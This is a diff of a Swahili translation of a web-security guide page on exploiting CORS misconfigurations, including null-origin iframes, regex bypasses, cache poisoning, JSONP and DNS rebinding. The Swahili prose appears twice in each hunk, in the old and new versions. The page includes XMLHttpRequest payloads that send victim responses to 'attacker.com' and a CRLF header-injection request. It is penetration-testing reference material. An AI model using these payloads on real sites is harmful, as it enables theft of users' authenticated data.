Hali halisi ambapo thamani ya kichwa cha `Origin` inatafakariwa katika `Access-Control-Allow-Origin` ni nadra kwa nadharia kutokana na vizuizi vya kuunganisha vichwa hivi. Hata hivyo, watengenezaji wanaotaka kuwezesha CORS kwa URL nyingi wanaweza kuzalisha kichwa cha `Access-Control-Allow-Origin` kwa kuchukua thamani ya kichwa cha `Origin`. Mbinu hii inaweza kuleta mapungufu, hasa wakati mshambuliaji anatumia kikoa chenye jina lililoundwa kuonekana halali, hivyo kudanganya mantiki ya uthibitisho.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -156,7 +156,7 @@ location='/log?key='+this.responseText;
|
|||
```
|
||||
### Kutumia Asili ya `null`
|
||||
|
||||
Asili ya `null`, iliyoainishwa kwa hali kama vile migeuko au faili za HTML za ndani, inashikilia nafasi ya kipekee. Baadhi ya programu hupitia orodha nyeupe ya asili hii ili kurahisisha maendeleo ya ndani, kwa kubahatisha kuruhusu tovuti yoyote kufanana na asili ya `null` kupitia kipande cha iframe kilichofungwa, hivyo kukiuka vizuizi vya CORS.
|
||||
Asili ya `null`, iliyotajwa kwa hali kama vile migeuko au faili za HTML za ndani, inashikilia nafasi ya kipekee. Baadhi ya programu huruhusu asili hii kwa ajili ya maendeleo ya ndani, kwa kosa kuruhusu tovuti yoyote kufanya kama asili ya `null` kupitia iframe iliyowekwa kwenye sanduku, hivyo kukiuka vizuizi vya CORS.
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -182,23 +182,23 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
};
|
||||
</script>"></iframe>
|
||||
```
|
||||
### Mbinu za Kupita kwa Mipangilio ya Misaada ya Kielelezo cha Kawaida
|
||||
### Mbinu za Kupuuza Mipangilio ya Msimbo wa Kawaida
|
||||
|
||||
Uponapoana orodha ya kikoa, ni muhimu kujaribu fursa za kupita, kama vile kuongeza kikoa cha mshambuliaji kwa kikoa kilichoorodheshwa au kutumia udhaifu wa kuchukua udhibiti wa subdomain. Aidha, mifumo ya kawaida ya kutambua kikoa inaweza kusahau nyuso katika sheria za kutaja kikoa, hivyo kutoa fursa zaidi za kupita.
|
||||
Uponapoana orodha ya kikoa, ni muhimu kufanya majaribio ya kupuuza, kama vile kuongeza kikoa cha muhusika kwenye kikoa kilichoorodheshwa au kutumia udhaifu wa kuchukua mamlaka ya subdomain. Aidha, mifumo ya kawaida ya kutambua kikoa inaweza kusahau nyakati katika sheria za kutaja majina ya kikoa, hivyo kutoa fursa zaidi za kupuuza.
|
||||
|
||||
### Mbinu za Kupita za Kawaida za Misaada ya Kielezo
|
||||
### Mbinu za Kupuuza Msimbo wa Kawaida wa Kielelezo
|
||||
|
||||
Mifumo ya Regex kawaida huzingatia wahusika wa alfa-namba, dot (.), na hyphen (-), ikisahau uwezekano mwingine. Kwa mfano, jina la kikoa lililoundwa kuingiza wahusika wanaotafsiriwa tofauti na vivinjari na mifumo ya Regex inaweza kupita vipimo vya usalama. Jinsi Safari, Chrome, na Firefox vinavyoshughulikia wahusika wa chini chini katika subdomains inaonyesha jinsi tofauti kama hizo zinaweza kutumika kuzunguka mantiki ya uthibitishaji wa kikoa.
|
||||
Mifumo ya Regex kawaida inazingatia wahusika wa alfa-namba, dot (.), na hyphen (-), ikisahau uwezekano mwingine. Kwa mfano, jina la kikoa lililoundwa kujumuisha wahusika wanaotafsiriwa tofauti na vivinjari na mifumo ya Regex inaweza kupuuza ukaguzi wa usalama. Namna Safari, Chrome, na Firefox vinavyoshughulikia wahusika wa chini wa subdomains inaonyesha jinsi tofauti hizo zinavyoweza kutumika kuzunguka mantiki ya uthibitishaji wa kikoa.
|
||||
|
||||
**Kwa habari zaidi na mipangilio ya ukaguzi huu wa kupita:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **na** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
**Kwa habari zaidi na mipangilio ya ukaguzi huu wa kupuuza:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **na** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
|
||||
|
||||
### Kutoka kwa XSS ndani ya Subdomain
|
||||
### Kutoka XSS ndani ya subdomain
|
||||
|
||||
Watengenezaji mara nyingi hutekeleza mifumo ya ulinzi kulinda dhidi ya unyanyasaji wa CORS kwa kuorodhesha kikoa kinachoruhusiwa kuomba habari. Licha ya tahadhari hizi, usalama wa mfumo si wa uhakika. Kuwepo hata wa subdomain moja yenye udhaifu ndani ya vikoa vilivyoorodheshwa kunaweza kufungua mlango wa unyanyasaji wa CORS kupitia udhaifu mwingine, kama vile XSS (Udukuzi wa Tovuti za Msalaba).
|
||||
Wabunifu mara nyingi hutekeleza mifumo ya ulinzi kulinda dhidi ya unyanyasaji wa CORS kwa kuorodhesha kikoa kinachoruhusiwa kuomba habari. Licha ya tahadhari hizi, usalama wa mfumo si wa uhakika. Kuwepo hata wa subdomain moja yenye udhaifu ndani ya vikoa vilivyoorodheshwa kunaweza kufungua mlango wa unyanyasaji wa CORS kupitia udhaifu mwingine, kama vile XSS (Udukuzi wa Tovuti za Msalaba).
|
||||
|
||||
Kwa mfano, fikiria hali ambapo kikoa, `requester.com`, kimeorodheshwa kupata rasilimali kutoka kikoa kingine, `provider.com`. Mipangilio ya upande wa seva inaweza kuonekana kama hii:
|
||||
Kwa mfano, fikiria hali ambapo kikoa, `requester.com`, kimeorodheshwa kuruhusu kupata rasilimali kutoka kikoa kingine, `provider.com`. Mipangilio ya upande wa seva inaweza kuonekana kama hii:
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||
// Access data
|
||||
|
@ -206,30 +206,30 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
|||
// Unauthorized access
|
||||
}
|
||||
```
|
||||
Katika hali hii, subdomains zote za `requester.com` zinaruhusiwa kupata. Hata hivyo, ikiwa subdomain, sema `sub.requester.com`, inashambuliwa na udhaifu wa XSS, mshambuliaji anaweza kutumia udhaifu huu. Kwa mfano, mshambuliaji mwenye ufikivu wa `sub.requester.com` anaweza kutumia udhaifu wa XSS kukiuka sera za CORS na kupata rasilimali kwa uovu kwenye `provider.com`.
|
||||
Katika hali hii, subdomains zote za `requester.com` zinaruhusiwa kupata upatikanaji. Hata hivyo, ikiwa subdomain, sema `sub.requester.com`, inashambuliwa na udhaifu wa XSS, mshambuliaji anaweza kutumia udhaifu huu. Kwa mfano, mshambuliaji mwenye upatikanaji wa `sub.requester.com` anaweza kutumia udhaifu wa XSS kukiuka sera za CORS na kupata vifaa kwa uovu kwenye `provider.com`.
|
||||
|
||||
### **Udanganyifu wa Cache Upande wa Seva**
|
||||
### **Udanganyifu wa cache upande wa seva**
|
||||
|
||||
[**Kutoka kwa utafiti huu**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
Kuna uwezekano wa kudanganya cache upande wa seva kupitia kuingiza kichwa cha HTTP, udhaifu wa Stored Cross-Site Scripting (XSS) unaweza kusababishwa. Hali hii hutokea wakati programu inashindwa kusafisha kichwa cha `Origin` kwa herufi haramu, ikiumba udhaifu hasa kwa watumiaji wa Internet Explorer na Edge. Vivinjari hivi vinachukulia (0x0d) kama kifaa halali cha kumaliza kichwa cha HTTP, ikisababisha udhaifu wa kuingiza kichwa cha HTTP.
|
||||
Kuna uwezekano wa kudanganya cache upande wa seva kupitia kuingiza kichwa cha HTTP, udhaifu wa Stored Cross-Site Scripting (XSS) unaweza kusababishwa. Hali hii inatokea wakati programu inashindwa kusafisha kichwa cha `Origin` kwa herufi haramu, ikiumba udhaifu hasa kwa watumiaji wa Internet Explorer na Edge. Vivinjari hivi vinachukulia (0x0d) kama mwisho halali wa kichwa cha HTTP, ikisababisha udhaifu wa kuingiza kichwa cha HTTP.
|
||||
|
||||
Zingatia ombi lifuatalo ambapo kichwa cha `Origin` kimebadilishwa:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Internet Explorer na Edge huchukulia jibu kama:
|
||||
Internet Explorer na Edge wanachukulia jibu kama:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Wakati wa kudukua udhaifu huu moja kwa moja kwa kufanya kivinjari cha wavuti kutuma kichwa kilichoharibika sio jambo linalowezekana, ombi lililoundwa kwa makini linaweza kuzalishwa kwa mkono kwa kutumia zana kama Burp Suite. Njia hii inaweza kusababisha cache ya upande wa seva kuokoa jibu na kwa kubahatisha kulitumikia kwa wengine. Mzigo ulioandaliwa unalenga kubadilisha seti ya herufi ya ukurasa kuwa UTF-7, nambari ya kuweka herufi mara nyingi inayohusishwa na udhaifu wa XSS kutokana na uwezo wake wa kuweka herufi kwa njia ambayo inaweza kutekelezwa kama script katika muktadha fulani.
|
||||
Wakati wa kudukua udhaifu huu moja kwa moja kwa kufanya kivinjari cha wavuti kutuma kichwa kilichoharibika sio jambo linalowezekana, ombi lililoundwa kwa makini linaweza kuzalishwa kwa mkono kwa kutumia zana kama Burp Suite. Njia hii inaweza kusababisha cache ya upande wa seva kuokoa jibu na kwa bahati mbaya kulitumikia kwa wengine. Mzigo ulioandaliwa lengo lake ni kubadilisha seti ya herufi ya ukurasa kuwa UTF-7, nambari ya herufi mara nyingi inayohusishwa na udhaifu wa XSS kutokana na uwezo wake wa kuweka herufi kwa njia ambayo inaweza kutekelezwa kama script katika muktadha fulani.
|
||||
|
||||
Kwa kusoma zaidi kuhusu udhaifu wa XSS uliowekwa, angalia [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
**Angalizo**: Kutumia vibaya udhaifu wa kuingiza kichwa cha HTTP, hasa kupitia sumu ya cache ya upande wa seva, inathibitisha umuhimu mkubwa wa kuthibitisha na kusafisha mwingiliano wote unaotolewa na mtumiaji, ikiwa ni pamoja na vichwa vya HTTP. Tumia mfano thabiti wa usalama ambao unajumuisha uthibitishaji wa mwingiliano ili kuzuia udhaifu kama huo.
|
||||
**Angalizo**: Kutumia vibaya udhaifu wa kuingiza kichwa cha HTTP, hasa kupitia sumu ya cache ya upande wa seva, inathibitisha umuhimu mkubwa wa kuthibitisha na kusafisha kila kuingiza cha mtumiaji, ikiwa ni pamoja na vichwa vya HTTP. Tumia mfano thabiti wa usalama ambao unajumuisha uthibitishaji wa kuingiza ili kuzuia udhaifu kama huo.
|
||||
|
||||
### **Sumu ya Cache ya Upande wa Mteja**
|
||||
|
||||
|
@ -237,9 +237,9 @@ Kwa kusoma zaidi kuhusu udhaifu wa XSS uliowekwa, angalia [PortSwigger](https://
|
|||
|
||||
Katika hali hii, kipengele cha ukurasa wa wavuti kinachoonyesha maudhui ya kichwa cha HTTP cha desturi bila usimbaji sahihi kinaonekana. Kwa usahihi, ukurasa wa wavuti unarudisha nyuma maudhui yaliyomo kwenye kichwa cha `X-User-id`, ambacho kinaweza kuwa na JavaScript mbaya, kama inavyodhihirishwa na mfano ambapo kichwa kina picha ya SVG iliyoundwa kutekeleza msimbo wa JavaScript wakati wa kupakia.
|
||||
|
||||
Sera za Kugawana Rasilmali kati ya Mito (CORS) huruhusu kutuma vichwa vya desturi. Walakini, bila jibu kutolewa moja kwa moja na kivinjari kutokana na vizuizi vya CORS, matumizi ya kuingiza kama hii yanaweza kuonekana kuwa na kikomo. Hatua muhimu inatokea wakati wa kuzingatia tabia ya cache ya kivinjari. Ikiwa kichwa cha `Vary: Origin` hakijatajwa, inawezekana kwa jibu la madhara kuhifadhiwa na kivinjari. Baadaye, jibu hili lililohifadhiwa linaweza kuonyeshwa moja kwa moja wakati wa kutembelea URL, ikipuuza haja ya uonyeshaji moja kwa moja wakati wa ombi la awali. Mfumo huu unaimarisha uaminifu wa shambulio kwa kutumia cache ya upande wa mteja.
|
||||
Sera za Kugawana Rasilmali kati ya Mito (CORS) huruhusu kutuma vichwa vya desturi. Walakini, bila jibu kutolewa moja kwa moja na kivinjari kutokana na vizuizi vya CORS, matumizi ya kuingiza kama hilo yanaweza kuonekana kuwa na kikomo. Hatua muhimu inatokea wakati wa kuzingatia tabia ya cache ya kivinjari. Ikiwa kichwa cha `Vary: Origin` hakijatajwa, inawezekana kwa jibu la uovu kuhifadhiwa kwenye cache ya kivinjari. Baadaye, jibu hili lililohifadhiwa linaweza kuonyeshwa moja kwa moja wakati wa kutembelea URL, kwa kuvuka haja ya uonyeshaji moja kwa moja wakati wa ombi la awali. Mfumo huu unaimarisha uaminifu wa shambulio kwa kutumia cache ya upande wa mteja.
|
||||
|
||||
Kuonyesha shambulio hili, mfano wa JavaScript unatolewa, ulioundwa kutekelezwa katika mazingira ya ukurasa wa wavuti, kama vile kupitia JSFiddle. Skripti hii inatekeleza hatua rahisi: inatuma ombi kwa URL iliyospecifikwa na kichwa cha desturi kinachojumuisha JavaScript mbaya. Baada ya kukamilisha ombi kwa mafanikio, inajaribu kutembelea URL ya lengo, ikisababisha utekelezaji wa msimbo ulioingizwa ikiwa jibu limehifadhiwa bila kushughulikiwa vizuri kwa kichwa cha `Vary: Origin`.
|
||||
Kuonyesha shambulio hili, mfano wa JavaScript umetolewa, ulioundwa kutekelezwa katika mazingira ya ukurasa wa wavuti, kama vile kupitia JSFiddle. Skripti hii inatekeleza hatua rahisi: inatuma ombi kwa URL iliyospecifikwa na kichwa cha desturi kinachojumuisha JavaScript mbaya. Baada ya kukamilisha ombi kwa mafanikio, inajaribu kutembea kwenye URL ya lengo, ikisababisha utekelezaji wa script iliyopachikwa ikiwa jibu limehifadhiwa bila kushughulikiwa kwa kichwa cha `Vary: Origin`.
|
||||
|
||||
Hapa kuna maelezo mafupi ya JavaScript uliotumika kutekeleza shambulio hili:
|
||||
```html
|
||||
|
@ -255,30 +255,30 @@ req.send();
|
|||
```
|
||||
## Kupita
|
||||
|
||||
### XSSI (Unganisho wa Skripti kati ya Maeneo) / JSONP
|
||||
### XSSI (Unganuzi wa Skripti wa Tovuti) / JSONP
|
||||
|
||||
XSSI, inayojulikana pia kama Unganisho wa Skripti kati ya Maeneo, ni aina ya udhaifu ambao unatumia ukweli kwamba Sera ya Asili Sawa (SOP) haitekelezwi wakati wa kuingiza rasilimali kwa kutumia lebo ya skripti. Hii ni kwa sababu skripti inahitaji kuweza kuingizwa kutoka uwanja tofauti. Udhaifu huu huruhusu mshambuliaji kupata na kusoma yaliyomo yoyote yaliyokuwa yamejumuishwa kwa kutumia lebo ya skripti.
|
||||
XSSI, inayojulikana pia kama Unganuzi wa Skripti wa Tovuti, ni aina ya udhaifu ambao unatumia ukweli kwamba Sera ya Asili Sawa (SOP) haitekelezwi wakati wa kuingiza rasilimali kwa kutumia lebo ya skripti. Hii ni kwa sababu skripti inahitaji kuweza kuingizwa kutoka kwa uwanja tofauti. Udhaifu huu huruhusu mshambuliaji kupata na kusoma yaliyomo yoyote yaliyokuwa yamejumuishwa kwa kutumia lebo ya skripti.
|
||||
|
||||
Udhaifu huu unakuwa muhimu hasa linapokuja suala la JavaScript ya kudumu au JSONP (JSON na Padding), hasa wakati habari za mamlaka ya mazingira kama vile vidakuzi hutumiwa kwa uthibitishaji. Wakati unapoomba rasilimali kutoka kwenye mwenyeji tofauti, vidakuzi huwa ni sehemu ya ombi hilo, hivyo kufanya iwezekane kwa mshambuliaji kuvifikia.
|
||||
Udhaifu huu unakuwa muhimu hasa linapokuja suala la JavaScript ya kudumu au JSONP (JSON na Padding), hasa wakati habari ya mamlaka ya mazingira kama vidakuzi inatumika kwa uthibitishaji. Wakati unapoomba rasilimali kutoka kwa mwenyeji tofauti, vidakuzi hujumuishwa, ikiruhusu mshambuliaji kufikia.
|
||||
|
||||
Ili kuelewa vizuri na kupunguza udhaifu huu, unaweza kutumia programu-jalizi ya BurpSuite inayopatikana kwenye [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Programu-jalizi hii inaweza kusaidia kutambua na kushughulikia udhaifu wa XSSI katika maombi yako ya wavuti.
|
||||
|
||||
[**Soma zaidi kuhusu aina tofauti za XSSI na jinsi ya kuzitumia hapa.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
Jaribu kuongeza **`callback`** **parameta** katika ombi. Labda ukurasa ulikuwa umewekwa tayari kutuma data kama JSONP. Katika kesi hiyo, ukurasa utatuma data kwa `Content-Type: application/javascript` ambayo itapita sera ya CORS.
|
||||
Jaribu kuongeza **`callback`** **parameter** katika ombi. Labda ukurasa ulikuwa umewekwa kutuma data kama JSONP. Katika kesi hiyo, ukurasa utatuma data na `Content-Type: application/javascript` ambayo itapita sera ya CORS.
|
||||
|
||||
![](<../.gitbook/assets/image (229).png>)
|
||||
|
||||
### Kupita kwa urahisi (bila maana?)
|
||||
### Kupita Rahisi (isiyofaa?)
|
||||
|
||||
Njia moja ya kuvuka kizuizi cha `Access-Control-Allow-Origin` ni kwa kuomba programu ya wavuti kutuma ombi kwa niaba yako na kutuma jibu. Hata hivyo, katika hali hii, siri za mwisho wa mwathiriwa hazitatumwa kwani ombi linatolewa kwa uwanja tofauti.
|
||||
Njia moja ya kupita kizuizi cha `Access-Control-Allow-Origin` ni kwa kuomba programu-jalizi ya wavuti kutuma ombi kwa niaba yako na kutuma majibu. Walakini, katika hali hii, vitambulisho vya mwisho wa mwathiriwa hawatatumiwa kwani ombi linatolewa kwa uwanja tofauti.
|
||||
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Zana hii hutoa proksi ambayo inapeleka ombi lako pamoja na vichwa vyake, huku ikidanganya pia kichwa cha Asili ili kulingana na uwanja ulioombwa. Hii inapita kwa ufanisi sera ya CORS. Hapa kuna matumizi ya mfano na XMLHttpRequest:
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Zana hii inatoa njia mbadala ya kusambaza maombi. Badala ya kusambaza ombi lako kama lilivyo, seva inafanya ombi lake lenyewe na vigezo vilivyowekwa.
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Zana hii hutoa proksi ambayo inapeleka ombi lako pamoja na vichwa vyake, wakati pia inadanganya kichwa cha Asili ili kulingana na uwanja ulioombwa. Hii inapita kwa ufanisi sera ya CORS. Hapa kuna matumizi ya mfano na XMLHttpRequest:
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Zana hii inatoa njia mbadala ya kupeleka ombi. Badala ya kupeleka ombi lako kama ilivyo, seva inafanya ombi lake lenyewe na vigezo vilivyowekwa.
|
||||
|
||||
### Iframe + Kupita kwa Popup
|
||||
### Iframe + Kupita Kizuizi cha Popup
|
||||
|
||||
Unaweza **kuvuka ukaguzi wa CORS** kama vile `e.origin === window.origin` kwa **kuunda iframe** na **kufungua dirisha jipya** kutoka kwake. Taarifa zaidi inapatikana kwenye ukurasa ufuatao:
|
||||
Unaweza **kupita ukaguzi wa CORS** kama `e.origin === window.origin` kwa **kuunda iframe** na **kufungua dirisha jipya** kutoka kwake. Taarifa zaidi katika ukurasa ufuatao:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -286,56 +286,56 @@ Unaweza **kuvuka ukaguzi wa CORS** kama vile `e.origin === window.origin` kwa **
|
|||
|
||||
### DNS Rebinding kupitia TTL
|
||||
|
||||
DNS rebinding kupitia TTL ni mbinu inayotumika kuvuka hatua fulani za usalama kwa kubadilisha rekodi za DNS. Hivi ndivyo inavyofanya kazi:
|
||||
DNS rebinding kupitia TTL ni mbinu inayotumika kupita hatua fulani za usalama kwa kubadilisha rekodi za DNS. Hivi ndivyo inavyofanya kazi:
|
||||
|
||||
1. Mshambuliaji anaunda ukurasa wa wavuti na kufanya mwathiriwa aifikie.
|
||||
2. Mshambuliaji kisha hubadilisha DNS (IP) ya kikoa chao ili ielekeze kwenye ukurasa wa wavuti wa mwathiriwa.
|
||||
3. Kivinjari cha mwathiriwa hufanya akiba ya jibu la DNS, ambalo linaweza kuwa na thamani ya TTL (Muda wa Kuishi) inayoonyesha muda gani rekodi ya DNS inapaswa kuchukuliwa kuwa halali.
|
||||
2. Mshambuliaji kisha hubadilisha DNS (IP) ya uwanja wao ili ielekeze kwenye ukurasa wa wavuti wa mwathiriwa.
|
||||
3. Kivinjari cha mwathiriwa kache jibu la DNS, ambalo linaweza kuwa na thamani ya TTL (Muda wa Kuishi) inayoonyesha muda gani rekodi ya DNS inapaswa kuchukuliwa kuwa halali.
|
||||
4. Wakati TTL inapomalizika, kivinjari cha mwathiriwa hufanya ombi jipya la DNS, kuruhusu mshambuliaji kutekeleza msimbo wa JavaScript kwenye ukurasa wa mwathiriwa.
|
||||
5. Kwa kudumisha udhibiti juu ya IP ya mwathiriwa, mshambuliaji anaweza kukusanya taarifa kutoka kwa mwathiriwa bila kutuma vidakuzi kwa seva ya mwathiriwa.
|
||||
5. Kwa kudumisha udhibiti juu ya IP ya mwathiriwa, mshambuliaji anaweza kukusanya habari kutoka kwa mwathiriwa bila kutuma vidakuzi kwa seva ya mwathiriwa.
|
||||
|
||||
Ni muhimu kutambua kuwa vivinjari vina mifumo ya akiba ambayo inaweza kuzuia unyanyasaji wa haraka wa mbinu hii, hata kwa thamani za TTL za chini.
|
||||
Ni muhimu kutambua kuwa vivinjari vina mifumo ya kuhifadhi cache ambayo inaweza kuzuia unyanyasaji wa haraka wa mbinu hii, hata na thamani za TTL za chini.
|
||||
|
||||
DNS rebinding inaweza kuwa na manufaa kwa kuvuka ukaguzi wa IP uliofanywa na mwathiriwa au kwa hali ambapo mtumiaji au boti anabaki kwenye ukurasa huo kwa muda mrefu, kuruhusu akiba kumalizika.
|
||||
DNS rebinding inaweza kuwa na manufaa kwa kupita ukaguzi wa IP uliofanywa na mwathiriwa au kwa hali ambapo mtumiaji au boti anabaki kwenye ukurasa huo kwa muda mrefu, kuruhusu cache kumalizika.
|
||||
|
||||
Ikiwa unahitaji njia ya haraka ya kutumia DNS rebinding, unaweza kutumia huduma kama [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
|
||||
Ili kuendesha seva yako mwenyewe ya DNS rebinding, unaweza kutumia zana kama **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Hii inahusisha kufunua bandari yako ya ndani 53/udp, kuunda rekodi ya A inayoashiria hiyo (k.m., ns.example.com), na kuunda rekodi ya NS inayoashiria kwa subdomain ya A iliyoundwa hapo awali (k.m., ns.example.com). Kila subdomain ya subdomain ya ns.example.com itatatuliwa na mwenyeji wako.
|
||||
Ili kuendesha seva yako mwenyewe ya DNS rebinding, unaweza kutumia zana kama **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Hii inahusisha kufunua bandari yako ya ndani 53/udp, kuunda rekodi ya A inayoashiria hiyo (k.m., ns.example.com), na kuunda rekodi ya NS inayoashiria kwa subdomain ya A iliyoundwa hapo awali (k.m., ns.example.com). Kila subdomain ya subdomain ya ns.example.com basi itatatuliwa na mwenyeji wako.
|
||||
|
||||
Unaweza pia kuchunguza seva inayofanya kazi hadharani kwa [http://rebind.it/singularity.html](http://rebind.it/singularity.html) kwa uelewa na majaribio zaidi.
|
||||
|
||||
### DNS Rebinding kupitia **Kufurika kwa Akiba ya DNS**
|
||||
### DNS Rebinding kupitia **Kufurika kwa Cache ya DNS**
|
||||
|
||||
DNS rebinding kupitia kufurika kwa akiba ya DNS ni mbinu nyingine inayotumika kuvuka mifumo ya akiba ya vivinjari na kulazimisha ombi la pili la DNS. Hivi ndivyo inavyofanya kazi:
|
||||
DNS rebinding kupitia kufurika kwa cache ya DNS ni mbinu nyingine inayotumika kupita mifumo ya kuhifadhi cache ya vivinjari na kulazimisha ombi la pili la DNS. Hivi ndivyo inavyofanya kazi:
|
||||
|
||||
1. Kwanza, wakati mwathiriwa anafanya ombi la DNS, jibu linajibiwa na anwani ya IP ya mshambuliaji.
|
||||
2. Ili kuvuka ulinzi wa akiba, mshambuliaji anatumia mfanyakazi wa huduma. Mfanyakazi wa huduma hufurika akiba ya DNS, ambayo kimsingi inafuta jina la mwenyeji wa mshambuliaji lililohifadhiwa.
|
||||
3. Wakati kivinjari cha mwathiriwa kinafanya ombi la pili la DNS, sasa jibu linajibiwa na anwani ya IP 127.0.0.1, ambayo kwa kawaida inahusu localhost.
|
||||
2. Ili kupita ulinzi wa kuhifadhi cache, mshambuliaji anatumia mfanyakazi wa huduma. Mfanyakazi wa huduma hufurika cache ya DNS, ambayo kimsingi inafuta jina la mwenyeji wa mshambuliaji lililohifadhiwa.
|
||||
3. Wakati kivinjari cha mwathiriwa kinapofanya ombi la pili la DNS, sasa jibu linajibiwa na anwani ya IP 127.0.0.1, ambayo kwa kawaida inahusu localhost.
|
||||
|
||||
Kwa kufurika kwa akiba ya DNS na mfanyakazi wa huduma, mshambuliaji anaweza kudanganya mchakato wa ufumbuzi wa DNS na kulazimisha kivinjari cha mwathiriwa kufanya ombi la pili, wakati huu likitatuliwa kwa anwani ya IP inayotakiwa na mshambuliaji.
|
||||
Kwa kufurika kwa cache ya DNS na mfanyakazi wa huduma, mshambuliaji anaweza kudanganya mchakato wa ufumbuzi wa DNS na kulazimisha kivinjari cha mwathiriwa kufanya ombi la pili, wakati huu likitatuliwa kwa anwani ya IP inayotakiwa na mshambuliaji.
|
||||
|
||||
### DNS Rebinding kupitia **Akiba**
|
||||
### DNS Rebinding kupitia **Cache**
|
||||
|
||||
Njia nyingine ya kuvuka ulinzi wa akiba ni kwa kutumia anwani za IP nyingi kwa subdomain moja katika mtoa huduma wa DNS. Hivi ndivyo inavyofanya kazi:
|
||||
Njia nyingine ya kupita ulinzi wa kuhifadhi cache ni kwa kutumia anwani za IP nyingi kwa subdomain moja katika mtoa huduma wa DNS. Hivi ndivyo inavyofanya kazi:
|
||||
|
||||
1. Mshambuliaji anaweka rekodi mbili za A (au rekodi moja ya A na anwani mbili za IP) kwa subdomain moja katika mtoa huduma wa DNS.
|
||||
2. Wakati kivinjari kinachunguza rekodi hizi, kinapokea anwani zote mbili za IP.
|
||||
3. Ikiwa kivinjari kinachagua kutumia anwani ya IP ya mshambuliaji kwanza, mshambuliaji anaweza kutumikia mzigo wa data ambao unafanya maombi ya HTTP kwa kikoa kimoja.
|
||||
4. Hata hivyo, mara tu mshambuliaji anapopata anwani ya IP ya mwathiriwa, wanakoma kujibu kivinjari cha mwathiriwa.
|
||||
5. Kivinjari cha mwathiriwa, baada ya kugundua kuwa kikoa hakijibu, huanza kutumia anwani ya IP iliyotolewa ya pili.
|
||||
6. Kwa kufikia anwani ya pili ya IP, kivinjari kinapita Sera ya Asili Sawa (SOP), kuruhusu mshambuliaji kutumia hii na kukusanya na kusafirisha taarifa.
|
||||
3. Ikiwa kivinjari kinaamua kutumia anwani ya IP ya mshambuliaji kwanza, mshambuliaji anaweza kutumikia mzigo wa data ambao unafanya maombi ya HTTP kwa uwanja huo huo.
|
||||
4. Walakini, mara tu mshambuliaji anapopata anwani ya IP ya mwathiriwa, wanakoma kujibu kivinjari cha mwathiriwa.
|
||||
5. Kivinjari cha mwathiriwa, baada ya kugundua kuwa uwanja hauna majibu, huendelea kutumia anwani ya IP iliyotolewa ya pili.
|
||||
6. Kwa kufikia anwani ya pili ya IP, kivinjari kinapita Sera ya Asili Sawa (SOP), kuruhusu mshambuliaji kutumia hii na kukusanya na kusafirisha habari.
|
||||
|
||||
Mbinu hii inatumia tabia ya vivinjari wakati anwani za IP nyingi zinapotolewa kwa kikoa. Kwa kudhibiti majibu na kudanganya chaguo la anwani ya IP la kivinjari, mshambuliaji anaweza kutumia SOP na kupata taarifa kutoka kwa mwathiriwa.
|
||||
Mbinu hii inatumia tabia ya vivinjari wakati anwani za IP nyingi zinapatikana kwa uwanja. Kwa kudhibiti majibu na kudanganya chaguo la anwani ya IP ya kivinjari, mshambuliaji anaweza kutumia SOP na kupata habari kutoka kwa mwathiriwa.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tafadhali kumbuka kwamba ili kufikia localhost unapaswa kujaribu kurejesha **127.0.0.1** kwenye Windows na **0.0.0.0** kwenye linux.\
|
||||
Watoa huduma kama vile godaddy au cloudflare hawakuniruhusu kutumia anwani ya IP 0.0.0.0, lakini AWS route53 iliniruhusu kuunda rekodi moja ya A na IP 2 ikiwa mojawapo ni "0.0.0.0"
|
||||
Tafadhali kumbuka kwamba ili kufikia localhost unapaswa kujaribu kurekebisha **127.0.0.1** kwa Windows na **0.0.0.0** kwa linux.\
|
||||
Watoa huduma kama godaddy au cloudflare hawakuniruhusu kutumia anwani ya IP 0.0.0.0, lakini AWS route53 iliniruhusu kuunda rekodi moja ya A na IP 2 ikiwa mojawapo ni "0.0.0.0"
|
||||
|
||||
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
||||
